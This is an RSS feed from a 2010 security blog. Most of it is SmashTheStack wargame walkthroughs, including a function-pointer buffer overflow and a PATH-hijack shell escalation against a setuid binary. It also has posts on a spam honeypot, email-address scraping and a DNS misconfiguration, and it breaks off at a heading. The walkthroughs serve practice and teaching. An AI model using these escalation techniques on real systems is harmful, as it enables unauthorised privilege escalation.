<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>onHacks &#187; .hac</title>
	<atom:link href="http://onhacks.org/lang/en/author/hacka/feed/" rel="self" type="application/rss+xml" />
	<link>http://onhacks.org</link>
	<description>On Hacking Across Boundaries</description>
	<lastBuildDate>Wed, 02 Jun 2010 05:48:30 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.0</generator>
		<item>
		<title>SmashTheStack &#8211; IO Level 4</title>
		<link>http://onhacks.org/lang/en/2010/05/03/smashthestack-io-level-4</link>
		<comments>http://onhacks.org/lang/en/2010/05/03/smashthestack-io-level-4#comments</comments>
		<pubDate>Mon, 03 May 2010 01:00:37 +0000</pubDate>
		<dc:creator>.hac</dc:creator>
				<category><![CDATA[SmashTheStack]]></category>
		<category><![CDATA[wargame]]></category>

		<guid isPermaLink="false">http://onhacks.org/?p=840</guid>
		<description><![CDATA[Welcome to level 4. In my opinion, this is easier than the previous levels if you have knowledge on how exectuables are being looked for in OS. You have been given both executable and source code again. When we first run the program, the following result is shown. level4@io:/levels$ ./level4 uid=1004(level4) gid=1004(level4) euid=1005(level5) groups=1004(level4),1029(nosu) Looks like it [...]]]></description>
			<content:encoded><![CDATA[<p>Welcome to level 4. In my opinion, this is easier than the previous levels if you have knowledge on how exectuables are being looked for in OS. You have been given both executable and source code again. When we first run the program, the following result is shown.</p>
<blockquote><p>level4@io:/levels$ ./level4<br />
uid=1004(level4) gid=1004(level4) euid=1005(level5) groups=1004(level4),1029(nosu)</p></blockquote>
<p>Looks like it is running the command id.</p>
<blockquote><p>The id command lists the real and effective user IDs and the group IDs of the user associated with the current process. This is the counterpart to the $UID, $EUID, and $GROUPS internal Bash variables. The id command shows the effective IDs only when they differ from the real ones. &#8211; From <a href="http://webtools.live2support.com/linux/id.php" target="_blank">webtools.live2support.com</a></p></blockquote>
<p>You can confirm it by looking at its source code. And yes, it does have a statement</p>
<blockquote><p>system(&#8220;id&#8221;);</p></blockquote>
<p>which call the Linux command.</p>
<p>If you are familiar with this command enough, actually it is just a piece of executable which is usually located at <em>/bin/</em>. But why you can run the command by just typing &#8220;<em>id</em>&#8220;, not &#8220;<em>/bin/id</em>&#8220;? It is because we have environment variable in our OS. In *nix system, it is PATH, you can use <em>echo $PATH</em> to see what is the current value of it.</p>
<blockquote><p>level4@io:/levels$ echo $PATH<br />
/usr/local/bin:/usr/bin:/bin:/usr/games</p></blockquote>
<p>So what we are going to do at this level are:</p>
<ol>
<li>Create a piece of code or script that call &#8220;<em>/bin/sh</em>&#8220;</li>
<li>Redirect the &#8220;<em>id</em>&#8221; command to run your script</li>
<li>Execute level4 executable</li>
</ol>
<p>Why this works because the level4 executable has euid = level5, see definition of <a href="http://linux.about.com/cs/linux101/g/euid.htm" target="_blank">euid</a>. If we bring up a shell from this executable, the shell will have level5 permission automatically. Amazing enough?</p>
<p>Actually you can only create code or scripts under <em>/tmp/</em>. We can do the following to create a script their.</p>
<blockquote><p>level4@io:/levels$ mkdir /tmp/onhacks/<br />
level4@io:/levels$ echo &#8220;/bin/sh&#8221; &#62; /tmp/onhacks/id<br />
level4@io:/levels$ chmod +x /tmp/onhacks/id</p></blockquote>
<p>Next step is to change the environment variable by running:</p>
<blockquote><p>level4@io:/levels$ PATH=/tmp/onhacks:/usr/bin:/bin:/usr/games</p></blockquote>
<p>Now, you are ready to grant the access next level. Remember to grab the password for level 5. It reminds us to utilitze what you learn, even a little trick can break a big hole. Think creatively and diversely.</p>
<p>See you in level 5.</p>
<p><span style="text-decoration: underline;"><strong>Note:</strong></span></p>
<ol>
<li>Other option: You can replace the script with a piece of C code which execute <em>execl(&#8220;/bin/sh&#8221;);</em></li>
<li>Your changes on environment variable will not affect others, it is scoped in the current session.</li>
</ol>
]]></content:encoded>
			<wfw:commentRss>http://onhacks.org/lang/en/2010/05/03/smashthestack-io-level-4/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>SmashTheStack &#8211; IO Level 3</title>
		<link>http://onhacks.org/lang/en/2010/04/28/smashthestack-io-level-3</link>
		<comments>http://onhacks.org/lang/en/2010/04/28/smashthestack-io-level-3#comments</comments>
		<pubDate>Wed, 28 Apr 2010 01:00:17 +0000</pubDate>
		<dc:creator>.hac</dc:creator>
				<category><![CDATA[SmashTheStack]]></category>
		<category><![CDATA[wargame]]></category>

		<guid isPermaLink="false">http://onhacks.org/?p=834</guid>
		<description><![CDATA[Hi all the heroes, you are now level 3 and it is time to fight with a little boss. This is time, the monster that blocking your way requires you to write some code (or script) to finish it. Different from previous two level, this time you can have the executable and source code. As [...]]]></description>
			<content:encoded><![CDATA[<p>Hi all the heroes, you are now level 3 and it is time to fight with a little boss. This is time, the monster that blocking your way requires you to write some code (or script) to finish it. Different from previous two level, this time you can have the executable and source code. As usual, first we execute the program without parameter:</p>
<blockquote><p>level3@io:~$ /levels/level03<br />
Segmentation fault</p></blockquote>
<p>Crap! I hate seeing segmentation fault, how about giving it a parameter?</p>
<blockquote><p>level3@io:~$ /levels/level03 nosegmentationfault<br />
Address of hmm: 0x804847f</p></blockquote>
<p>The executable gives us a hint that hmm is the key at this level. Let&#8217;s attach gdb and see what is inside the program.</p>
<blockquote><p>(gdb) disass hmm<br />
Dump of assembler code for function hmm:<br />
&#8230;<br />
0x080484a8 &#60;hmm+41&#62;:    call   0&#215;8048340 &#60;execl@plt&#62;</p></blockquote>
<p>I guess we are looking at the right place, <em>hmm</em> is a function which execl &#8220;something&#8221;. By looking at the source code, we can confirm that the function is what we need. The remaining part to grant access is to use <a href="http://en.wikipedia.org/wiki/Stack_buffer_overflow" target="_blank">stack buffer overflow</a>. How can we achieve it? Go back to the source code, there is an interesting thing.</p>
<blockquote><p>int (*fptr)(int) = good;<br />
&#8230;<br />
(*fptr)((int)hmmptr);</p></blockquote>
<p>The program is using an unusual way to execute function <em>good</em>, we can take advantage of it to call <em>hmm()</em> by rewriting the value in <em>*fptr</em>. Can we do this? We need to look at how the stack buffer looks like.</p>
<p><a href="http://onhacks.org/wp-content/uploads/2010/04/smashthestack_level3_stack_buffer.png"></a><a href="http://onhacks.org/wp-content/uploads/2010/04/smashthestack_level3_stack_buffer.png"><img class="alignnone size-medium wp-image-849" title="smashthestack_level3_stack_buffer" src="http://onhacks.org/wp-content/uploads/2010/04/smashthestack_level3_stack_buffer-300x63.png" alt="" width="300" height="63" /></a></p>
<p>As you can see, the variable that is being declared later will have a smaller address. In other words, we can overwrite the values in <em>*fptr</em> by specifying more than 32 bytes to <em>buf</em>. Let&#8217;s go back to gdb and see when <em>*fptr</em> is being used to call.</p>
<blockquote><p>(gdb) disass main<br />
&#8230;<br />
0x0804859f &#60;main+240&#62;:  mov    eax,DWORD PTR [ebp-0x14]<br />
0x080485a2 &#60;main+243&#62;:  call   eax<br />
&#8230;</p></blockquote>
<p>The function is being called at 0x080485a2. Then how is the buffer looks like at that time?</p>
<blockquote><p>(gdb) break *0x080485a2<br />
Breakpoint 1 at 0x80485a2<br />
(gdb) run $(perl -e &#8216;print &#8220;B&#8221;x40&#8242;;)<br />
(gdb) x/20x $esp<br />
0xbfffdcc0:     0x0804847f      0&#215;00000000      0&#215;00000030      0&#215;00000000<br />
0xbfffdcd0:     0&#215;00000000      0&#215;00000000      0xbfffde8d      0x0804847f<br />
0xbfffdce0:     0&#215;41414141      0&#215;41414141      0&#215;41414141      0&#215;41414141<br />
0xbfffdcf0:     0&#215;41414141      0&#215;41414141      0&#215;41414141      0&#215;41414141<br />
0xbfffdd00:     0&#215;41414141      0&#215;42424242      0&#215;00000000      0&#215;00000029</p></blockquote>
<p>According to the graph above, <em>*fptr</em> is located at 0xbffdd00. From the memory dump above, the first half of the variable is being replaced by 4 &#8220;A&#8221;. But actually the last 4 bytes in <em>*fptr</em> is already good enough because address are 4 bytes long in 32-bit machines. So what you need is constructing a string with 40 characters long, which fits into variable <em>buf</em>, the last 4 bytes are storing the address of <em>hmm()</em>. Keep in mind that the address is being stored differently in memory (It  is Big-Endian).</p>
<p>You can create the parameter like this:</p>
<blockquote><p>./level3 `perl -e &#8216;print &#8220;B&#8221;x36&#8242;; printf &#60;Address of <em>hmm()</em> in Big-Endian representation&#62;`</p></blockquote>
<p>Ready to go to level 4? See you then.</p>
]]></content:encoded>
			<wfw:commentRss>http://onhacks.org/lang/en/2010/04/28/smashthestack-io-level-3/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>SmashTheStack &#8211; IO Level 2</title>
		<link>http://onhacks.org/lang/en/2010/04/26/smashthestack-io-level-2</link>
		<comments>http://onhacks.org/lang/en/2010/04/26/smashthestack-io-level-2#comments</comments>
		<pubDate>Mon, 26 Apr 2010 01:00:42 +0000</pubDate>
		<dc:creator>.hac</dc:creator>
				<category><![CDATA[SmashTheStack]]></category>
		<category><![CDATA[Fibonnaci]]></category>
		<category><![CDATA[spreadsheet]]></category>
		<category><![CDATA[wargame]]></category>

		<guid isPermaLink="false">http://onhacks.org/?p=810</guid>
		<description><![CDATA[How do you feel about breaking the program in level 1? Do you think that you can be a hacker? Sure you can. What you need is getting familiar with tools (weapons) that you have, and always be evil. gdb is always one of the great tool for investigation. But we usually don&#8217;t use it [...]]]></description>
			<content:encoded><![CDATA[<p>How do you feel about breaking the program in level 1? Do you think that you can be a hacker? Sure you can. What you need is getting familiar with tools (weapons) that you have, and always be evil. gdb is always one of the great tool for investigation. But we usually don&#8217;t use it to discover vulnerabilities in a software because usually software has thousands or millions line of code which makes it not very possible that you can find a hole with your eye, no matter you are shortsighted or not. <img src='http://onhacks.org/wp-includes/images/smilies/icon_razz.gif' alt=':P' class='wp-smiley' /> </p>
<p>Anyway, let&#8217;s move one to the next stage. After finishing the little thing at level1, we have a bigger thing waiting at level2 (not even a boss yet). When you first execute the program with no parameters, you will have this:</p>
<blockquote><p>Append the 39th through 42nd numbers in the sequence as a string and feed it to this binary via argv[1]. 1, 2, 3, 5, 8, 13, 21&#8230;<br />
The 4th through the 7th numbers would give you 581321</p></blockquote>
<p>Easy enough? This time, you don&#8217;t really need to break the program, you just need to find what it wants and pass it as a string. Obviously, this is a <a href="http://en.wikipedia.org/wiki/Fibonacci_number" target="_blank">Fibonacci Sequence</a> and in this case, the 45th number (1836311903) is still fit within 2<sup>31</sup>-1. So, you can just write a simple program to generate the sequence then print the 39th through 42nd numbers. Or if you don&#8217;t want to write a program, any spreadsheet software should be able to help you calculate the sequence.</p>
<p>Not much I can tell you this time. What you can learn here is, try tackle a problem in different ways, and get familiar with what you have. See you in level 3!</p>
]]></content:encoded>
			<wfw:commentRss>http://onhacks.org/lang/en/2010/04/26/smashthestack-io-level-2/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>SmashTheStack &#8211; IO Level 1</title>
		<link>http://onhacks.org/lang/en/2010/04/21/smashthestack-io-level-1</link>
		<comments>http://onhacks.org/lang/en/2010/04/21/smashthestack-io-level-1#comments</comments>
		<pubDate>Wed, 21 Apr 2010 01:00:17 +0000</pubDate>
		<dc:creator>.hac</dc:creator>
				<category><![CDATA[SmashTheStack]]></category>
		<category><![CDATA[gdb]]></category>
		<category><![CDATA[wargame]]></category>

		<guid isPermaLink="false">http://onhacks.org/?p=801</guid>
		<description><![CDATA[Let&#8217;s begin our wargame from SmashTheStack IO level 1. In my opinion, this game is a good practice to get familiar with gdb, the widely used debugger in *nix system. Okay, so first of all, you need a way to ssh to the domain io.smashthestack.org at port 2224 with this credential: level1@level1. This is the [...]]]></description>
			<content:encoded><![CDATA[<p>Let&#8217;s begin our wargame from SmashTheStack IO level 1. In my opinion, this game is a good practice to get familiar with gdb, the widely used debugger in *nix system. Okay, so first of all, you need a way to ssh to the domain io.smashthestack.org at port 2224 with this credential: <em>level1@level1</em>. This is the entrance point as stated in this page: <a href="http://io.smashthestack.org:84/" target="_blank">http://io.smashthestack.org:84/</a></p>
<p>The level 1 program should be located at <em>/levels/level01</em>. When you first execute this program w/o any parameters, it will provide you its help:</p>
<blockquote><p>Usage: ./level01 &#60;password&#62;</p></blockquote>
<p>If you type something like <em>./level01 password</em>, result could be: Fail.</p>
<p>Let&#8217;s attach the gdb and see what is interesting in its main program.</p>
<blockquote><p>level1@io:/levels$ gdb ./level01<br />
(gdb) disass main<br />
&#8230;<br />
0x0804846c &#60;main+120&#62;:  call   0x804830c &#60;strncmp@plt&#62;<br />
0&#215;08048471 &#60;main+125&#62;:  test   %eax,%eax<br />
0&#215;08048473 &#60;main+127&#62;:  jne    0x804849f &#60;main+171&#62;<br />
&#8230;<br />
0&#215;08048498 &#60;main+164&#62;:  call   0x80482ec &#60;execl@plt&#62;<br />
&#8230;<br />
0x080484be &#60;main+202&#62;:  ret</p></blockquote>
<p>You will soon discover this line</p>
<blockquote><p>0x0804846c &#60;main+120&#62;:  call   0x804830c &#60;strncmp@plt&#62;</p></blockquote>
<p>is where we are interested in. Few lines from this statement, there is a <em>execl </em>call, it seems that the <em>strncmp </em>is being used in an if statement. So we can set a break point at 0x0804846c and see what are they comparing.</p>
<blockquote><p>(gdb) break *0x0804846c<br />
(gdb) run password<br />
(gdb) i r<br />
eax            0x80485c8        134514120<br />
ecx            0xbfffdebd       -1073750339<br />
&#8230;</p></blockquote>
<p>If you try to get value at the address stored in each register, you will get the password which leads you to next level, because one of the register is pointing to the expected string that will execute the <em>execl </em>statement, and another one is your input. What you need to do is to run level1 program again with the right input, then you will have access to level2 and you can retrieve the password to login as level2 by looking at <em>/home/level2/.pass</em>.</p>
<p>I am not going to tell you the actual input for level1, you are just a step away from the goal after reading my logs above. Assuming you are new to gdb, what you can learn here are:</p>
<ol>
<li>How to attach a debugger (gdb) to a program?<br />
<strong>Ans</strong>. gdb &#60;executable path&#62; or gdb -q &#60;executable path&#62;</li>
<li>How to disassemble a function in an executable?<br />
<strong>Ans</strong>. disass &#60;function name&#62;</li>
<li>How to set break point in an executable?<br />
<strong>Ans</strong>. break &#60;instruction address&#62;</li>
<li>How to run a program in gdb with parameter?<br />
<strong>Ans</strong>. run [&#60;parameter&#62;]</li>
<li>How to dump the current values of registers?<br />
<strong>Ans</strong>. info registers (&#8220;i r&#8221; in short)</li>
<li>How to look at the value of an address stored in a register?<br />
<strong>Ans</strong>. You need to figure this out. <img src='http://onhacks.org/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> </li>
</ol>
<p>I am moving on to next level, how about you?</p>
<p>Hope you enjoy playing this IO wargame.</p>
]]></content:encoded>
			<wfw:commentRss>http://onhacks.org/lang/en/2010/04/21/smashthestack-io-level-1/feed</wfw:commentRss>
		<slash:comments>4</slash:comments>
		</item>
		<item>
		<title>SmashTheStack series</title>
		<link>http://onhacks.org/lang/en/2010/04/19/smashthestack-series</link>
		<comments>http://onhacks.org/lang/en/2010/04/19/smashthestack-series#comments</comments>
		<pubDate>Mon, 19 Apr 2010 01:00:09 +0000</pubDate>
		<dc:creator>.hac</dc:creator>
				<category><![CDATA[SmashTheStack]]></category>
		<category><![CDATA[wargame]]></category>

		<guid isPermaLink="false">http://onhacks.org/?p=798</guid>
		<description><![CDATA[After disappearing for quite a long time, I am trying to continue writing something which can also prove that I am still alive. Few updates around me. I just moved from Richmond, BC to Redmond, WA. Working with my team more closely. Helping my team to start up a new project for customers who want [...]]]></description>
			<content:encoded><![CDATA[<p>After disappearing for quite a long time, I am trying to continue writing something which can also prove that I am still alive. Few updates around me.</p>
<ol>
<li>I just moved from Richmond, BC to Redmond, WA. Working with my team more closely.</li>
<li>Helping my team to start up a new project for customers who want to rebrand our product as a service.</li>
<li>Started playing wargames (in security).</li>
</ol>
<p>Yes! I am playing security wargame in SmashTheStack. The main goal is to use the program you can run in the current level to gain access to the advance level, there is always a vulnerability in the programs. It has many different types of games, depending on what vulnerability the programs have, or how you are going to break them. eg. IO, Logic, Blackbox.</p>
<p>I just started playing with the IO games, while all the programs I broke so far is depending on the input you gave. Usually, they have stack buffer overflow or heap buffer overflow issues.</p>
<p>Why I am presenting this post with subject &#8220;SmashTheStack series&#8221;? Because I would like to present the solutions (or hints) of the levels that I already solved. In the next few months, I will focus on breaking the programs there. Until I have any bright idea on a security topic that I would like to work on or share. BTW, this game is good for you to play with during leisure time.</p>
]]></content:encoded>
			<wfw:commentRss>http://onhacks.org/lang/en/2010/04/19/smashthestack-series/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Experience on Open Mail Relay Server for Honeypot</title>
		<link>http://onhacks.org/lang/en/2009/12/08/experience-on-open-mail-relay-server-for-honeypot</link>
		<comments>http://onhacks.org/lang/en/2009/12/08/experience-on-open-mail-relay-server-for-honeypot#comments</comments>
		<pubDate>Tue, 08 Dec 2009 07:06:39 +0000</pubDate>
		<dc:creator>.hac</dc:creator>
				<category><![CDATA[Email]]></category>
		<category><![CDATA[Honeypot]]></category>
		<category><![CDATA[Spampot]]></category>

		<guid isPermaLink="false">http://onhacks.org/lang/en/2009/12/08/760</guid>
		<description><![CDATA[This is a report more than discovery in spam collection. I was working on setting up a spampot using spampot.py which was written by Neale Pikett back to 2003. Although the result is not as my expectation, it does gives me more information about setting up a spampot. Goal The goal of running a spampot [...]]]></description>
			<content:encoded><![CDATA[<p>This is a report more than discovery in spam collection. I was working on setting up a spampot using <a id="micx" title="spampot.py" href="http://woozle.org/%7Eneale/src/python/spampot.py">spampot.py</a> which was written by Neale Pikett back to 2003. Although the result is not as my expectation, it does gives me more information about setting up a spampot.</p>
<p><span style="font-size: small;"><strong>Goal</strong></span></p>
<p>The goal of running a spampot (honeypot which only care about spam) is to collect spam and analysis the trend of them, hopefully we can find some interesting techniques that spammers/ hackers use in junk and phishing emails.</p>
<p><span style="font-size: small;"><strong>Approach</strong></span><br />
So far, there are at least two types of spampot hosting method that I know. The names of them are designed by me, if there are formal names for them, please let me know.<strong> </strong></p>
<blockquote><p><strong>Open Relay Spampot:</strong> This kind of honeypot is running as an open mail relay server. In case you are not familiar with, open relay means users can send message through the server anonymously.<strong></strong></p></blockquote>
<blockquote><p><strong>Close Relay Spampot:</strong> The spampot is running as a close mail relay server. To expose the server to spammers, you need to have your own domain binding to this server with email address(es) exposing to spammers/ hackers. For example, we can have onhacks.org binding to a spampot and spam@onhacks.org is one of the email address we want to expose to spammers. However, about the methods to increase the exposure of an email addresses is out of scope, we can discuss more on it later.</p></blockquote>
<p>In my setup, I decided to run spampot as <em>open mail relay server</em>.</p>
<p><span style="font-size: small;"><strong>Setup</strong></span><br />
I have VirtualBox installed on top of Windows 7. I am using Ubuntu as the guest OS, this is because it seems the implementation was done in *nix system. Since port 25 is the default port for SMTP service, we need to forward packets from host (Win7) to guest (Ubuntu) so that the spampot in guest OS can react to incoming connection at host port 25.</p>
<p>(Assuming that you are using NAT for VirtualBox)<br />
To enable port forwarding, you need to set the HostPort 25 forwarding to GuestPort 25. For more detail around port forwarding in VirtualBox, please refer to <a id="hipv" title="this" href="http://tombuntu.com/index.php/2008/12/17/configure-port-forwarding-to-a-virtualbox-guest-os/">this</a> article.</p>
<p>However, you will soon discover that it is not possible to perform port forwarding if the port is reserved (&#60; 1024). This can easily be resolved by running VirtualBox with admin credential (ie. Run As Administrator).</p>
<p>The spampot.py requires Sendmail being installed in Linux. Since sendmail actually is a service listening to port 25, I will do the follow to switch to spampot.py:</p>
<blockquote><p>sudo /etc/init.d/sendmail stop<br />
sudo spampot.py 0.0.0.0</p></blockquote>
<p>Surely you can set this automatically run when the system is started.</p>
<p>The last thing is to add a DNS record pointing to my machine. I have smtp.onhacks.org. pointing to it. Since it is still under experiment, the machine is running at home and IP is dynamic, I need to change it often.</p>
<p><span style="font-size: small;"><strong>Result</strong></span><br />
Currently, I got 0 message after running the spampot for few days. I have google around and looks like open relay spampot is not that popular anymore because many server admins aware that spammers were abusing open mail relay servers, they don&#8217;t allow open relay anymore. As a result, submitting spams to open relay servers is not efficient anymore.</p>
<p>I will continue running the spampot these days and see if we can get more spam through open relay honeypot. Afterward, I will work on close relay spampot.</p>
<p><strong><span style="font-size: small;">Reference</span></strong></p>
<ol>
<li><a id="j:td" title="Open mail relay - Wikipedia" href="http://en.wikipedia.org/wiki/Open_mail_relay">Open mail relay &#8211; Wikipedia</a></li>
<li><a id="gum0" title="spampot.py - written by Neale Pickett" href="http://woozle.org/%7Eneale/src/python/spampot.py">spampot.py &#8211; written by Neale Pickett</a></li>
<li><a id="x4ae" title="Configure Port Forwarding to a VirtualBox Guest OS - Tombuntu" href="http://tombuntu.com/index.php/2008/12/17/configure-port-forwarding-to-a-virtualbox-guest-os/">Configure Port Forwarding to a VirtualBox Guest OS &#8211; Tombuntu</a></li>
<li><a id="e9tb" title="SpamPots Project - Cert.org" href="http://www.cert.org/archive/pdf/SpamPots_CERTbe-Pub.pdf">SpamPots Project &#8211; Cert.org</a></li>
<li><a id="wzy0" title="Brazilian Honeypots Alliance" href="http://www.honeypots-alliance.org.br/">Brazilian Honeypots Alliance</a></li>
</ol>
]]></content:encoded>
			<wfw:commentRss>http://onhacks.org/lang/en/2009/12/08/experience-on-open-mail-relay-server-for-honeypot/feed</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>An interesting DoS attack story</title>
		<link>http://onhacks.org/lang/en/2009/11/29/an-interesting-dos-attack-story</link>
		<comments>http://onhacks.org/lang/en/2009/11/29/an-interesting-dos-attack-story#comments</comments>
		<pubDate>Sun, 29 Nov 2009 03:11:22 +0000</pubDate>
		<dc:creator>.hac</dc:creator>
				<category><![CDATA[Random Chatter]]></category>
		<category><![CDATA[DoS]]></category>

		<guid isPermaLink="false">http://onhacks.org/?p=752</guid>
		<description><![CDATA[Last night, I was waken by a call that a server was not working. This server is hosting an online judging system (similar to uva.onlinejudge.org, which has algorithmic problems that users can solve). I took a quick look at the compilation process and web pages, everything looked good except it always return &#8220;Compilation Error&#8221; no [...]]]></description>
			<content:encoded><![CDATA[<p>Last night, I was waken by a call that a server was not working. This server is hosting an online judging system (similar to <a href="http://uva.onlinejudge.org">uva.onlinejudge.org</a>, which has algorithmic problems that users can solve). I took a quick look at the compilation process and web pages, everything looked good except it always return &#8220;Compilation Error&#8221; no matter what was the content in source code (even a <a href="http://en.wikipedia.org/wiki/Hello_world_program">HelloWorld</a>!). By manually compiled the source code, the compilation error message gave more detail information about the root cause&#8230;Not enough space to link the object files! When I did a &#8220;df&#8221;, it said that the data partition was used 100%!!</p>
<p>After a deeper investigation, I discovered that one of the user was preparing questions on the machine, and generated a 12GB test data unexpectedly. Since this is a very old machine, it only has a 14GB hard disk for data storage and it already had 2GB data on it. This is kind of DoS attack since no one can submit sources to the judging system even though they can navigate to it.</p>
<p><strong>Lesson learned:</strong> We should have restriction on storage usage of each user instead of unlimited.</p>
<p>Any other suggestion to prevent this happen again?</p>
]]></content:encoded>
			<wfw:commentRss>http://onhacks.org/lang/en/2009/11/29/an-interesting-dos-attack-story/feed</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>Is old fashion protection still getting you away from spam?</title>
		<link>http://onhacks.org/lang/en/2009/09/12/is-old-fashion-protection-still-getting-you-away-from-spam</link>
		<comments>http://onhacks.org/lang/en/2009/09/12/is-old-fashion-protection-still-getting-you-away-from-spam#comments</comments>
		<pubDate>Sat, 12 Sep 2009 06:48:38 +0000</pubDate>
		<dc:creator>.hac</dc:creator>
				<category><![CDATA[Email]]></category>
		<category><![CDATA[Gmail]]></category>
		<category><![CDATA[Spam]]></category>

		<guid isPermaLink="false">http://onhacks.org/?p=658</guid>
		<description><![CDATA[I disappeared again after my last post talking about spam collections and DNS misconfigurations. Today, I read log0&#8242;s post which he is calling for bots/ tools for his security research. Did you see anything familiar to you? How log0 is showing his contact to us, &#8220;log0 [ at ] gmail [ dot ] com&#8221;. We [...]]]></description>
			<content:encoded><![CDATA[<p>I disappeared again after my last post talking about spam collections and DNS misconfigurations. Today, I read <a href="http://onhacks.org/lang/en/2009/09/10/need-pcap-or-binaries-for-http-bots/" target="_blank">log0&#8242;s post</a> which he is calling for bots/ tools for his security research. Did you see anything familiar to you? How log0 is showing his contact to us, &#8220;log0 [ at ] gmail [ dot ] com&#8221;. We were using this format for quite some time, after we realized that showing full form of our address (eg. spam@onhacks.org) increases the chance that our email get exposed to spammers.</p>
<p>However, these kinds of representation already appeared on the Internet for last few years. Did you ever think of one fact is that: A clever spammers just need to modify few lines of code in their bots, changing the target strings they are looking for, then everything is just working as the same as in the past.</p>
<p>The most interesting thing is that RSnake has blogged <a href="http://ha.ckers.org/blog/20090908/email-obfuscation-and-spam-robots/" target="_blank">his finding on this form of email representation</a> last Tuesday. In short, he has googled with <a href="http://www.google.com/search?hl=en&#38;client=firefox-a&#38;rls=org.mozilla%3Aen-US%3Aofficial&#38;hs=GiM&#38;q=%22at+gmail+dot+com%22&#38;aq=f&#38;oq=&#38;aqi=" target="_blank">&#8220;at gmail dot com&#8221;</a>, and surprisingly there are at least 6 email addresses in the first result page. There are many variations, but they all have the same pattern, here are some examples:</p>
<blockquote><p>spam  at  onhacks  dot  com<br />
spam [at] onhacks [dot] com<br />
spam (at) onhacks (dot) com<br />
spam &#60;at&#62; onhacks &#60;dot&#62; com<br />
spam &#8220;at&#8221; onhacks &#8220;dot&#8221; com</p></blockquote>
<p>(Obviously, I am trying my best to let spammers know my address)</p>
<p>I spent an hour to write a very <a href="http://onhacks.org/lang/en/sources/email-parser-any-name-at-any-domain-name-dot-any-top-level-domain/" target="_blank">simple PoC parser</a> to retrieve email addresses from the result page mentioned above. Obviously there are at least 4 valid email addresses, it is not too hard to get those email addresses by bots. The parser is just looking for 1 &#8216;at&#8217; and 1 &#8216;dot&#8217; keyword appears sequentially in the pattern: [any word] &#8220;at&#8221; [any word] &#8220;dot&#8221; [any word]. The code is poorly written, I will improve it later this week.</p>
<p>It is not so difficult to discover the pattern between these email addresses, just a piece of cake even for primary students. Then, what kind of representation we should use to show our email address on the Internet? Display the jpeg of the email? Without adding noises to the image, it is as easy as just performing text recognition. With noises on the image, it is more like CAPTCHA. Since most of the CAPTCHA solver aims on specific type of CAPTCHA, it may takes more time to decrypt an &#8220;encrypted&#8221; email using CAPTCHA. However, it is not unsolvable.</p>
<p>What is the takeaway then? Better not showing your address on web! Or encrypt it into CAPTCHA, at least your email address has less chance being captured by spammers.</p>
]]></content:encoded>
			<wfw:commentRss>http://onhacks.org/lang/en/2009/09/12/is-old-fashion-protection-still-getting-you-away-from-spam/feed</wfw:commentRss>
		<slash:comments>5</slash:comments>
		</item>
		<item>
		<title>[localhost IN A 127.0.0.1] what&#8217;s the problem?</title>
		<link>http://onhacks.org/lang/en/2009/08/08/localhost-in-a-127-0-0-1-whats-the-problem</link>
		<comments>http://onhacks.org/lang/en/2009/08/08/localhost-in-a-127-0-0-1-whats-the-problem#comments</comments>
		<pubDate>Sat, 08 Aug 2009 09:11:01 +0000</pubDate>
		<dc:creator>.hac</dc:creator>
				<category><![CDATA[DNS]]></category>
		<category><![CDATA[Email]]></category>
		<category><![CDATA[Protocol]]></category>

		<guid isPermaLink="false">http://onhacks.org/?p=520</guid>
		<description><![CDATA[It is a long time after my last post. I was disappearing because the project I am working on is going to be shipped soon, busying with finding bugs and fixing test cases these few months. Anyway, let&#8217;s get back to a security discussion today. I was playing around with testing DNS resolver feature in [...]]]></description>
			<content:encoded><![CDATA[<p>It is a long time after my last post. I was disappearing because the project I am working on is going to be shipped soon, busying with finding bugs and fixing test cases these few months.</p>
<p>Anyway, let&#8217;s get back to a security discussion today. I was playing around with testing DNS resolver feature in my product, DNS is always a great place to play with. When I was looking for any interesting scenarios that can test the feature, I found this <a href="http://www.securityfocus.com/archive/1/486606" target="_blank">article</a>. Although it is an old news, the problem is still in the wild.</p>
<h3><strong>DNS Misconfiguration</strong></h3>
<p>Many administrators like to install &#8220;localhost<span style="color: #ff0000;"><strong>.</strong></span> IN A 127.0.0.1&#8243; as a record in their DNS server. However, administrators always mistakenly drop the trailing dot (ie. &#8220;localhost IN A 127.0.0.1&#8243;). Since they put this record into a DNS zone (eg. yahoo.com), the record actually becomes &#8220;localhost.yahoo.com. IN A 127.0.0.1&#8243;! In other words, when you nslookup &#8220;localhost.yahoo.com&#8221;, it gives you 127.0.0.1!</p>
<p>I found that there are still many such misconfiguration in the wild. Here are some example:</p>
<blockquote><p>localhost.fbi.gov gives IP address 127.0.0.1<br />
localhost.domain.ca gives IP address 127.0.0.1<br />
localhost.gov.za gives IP address 127.0.0.1<br />
localhost.cancer.gov gives IP address 127.0.0.1</p></blockquote>
<h3><strong>Application</strong></h3>
<h4>Same-Site Scripting attack</h4>
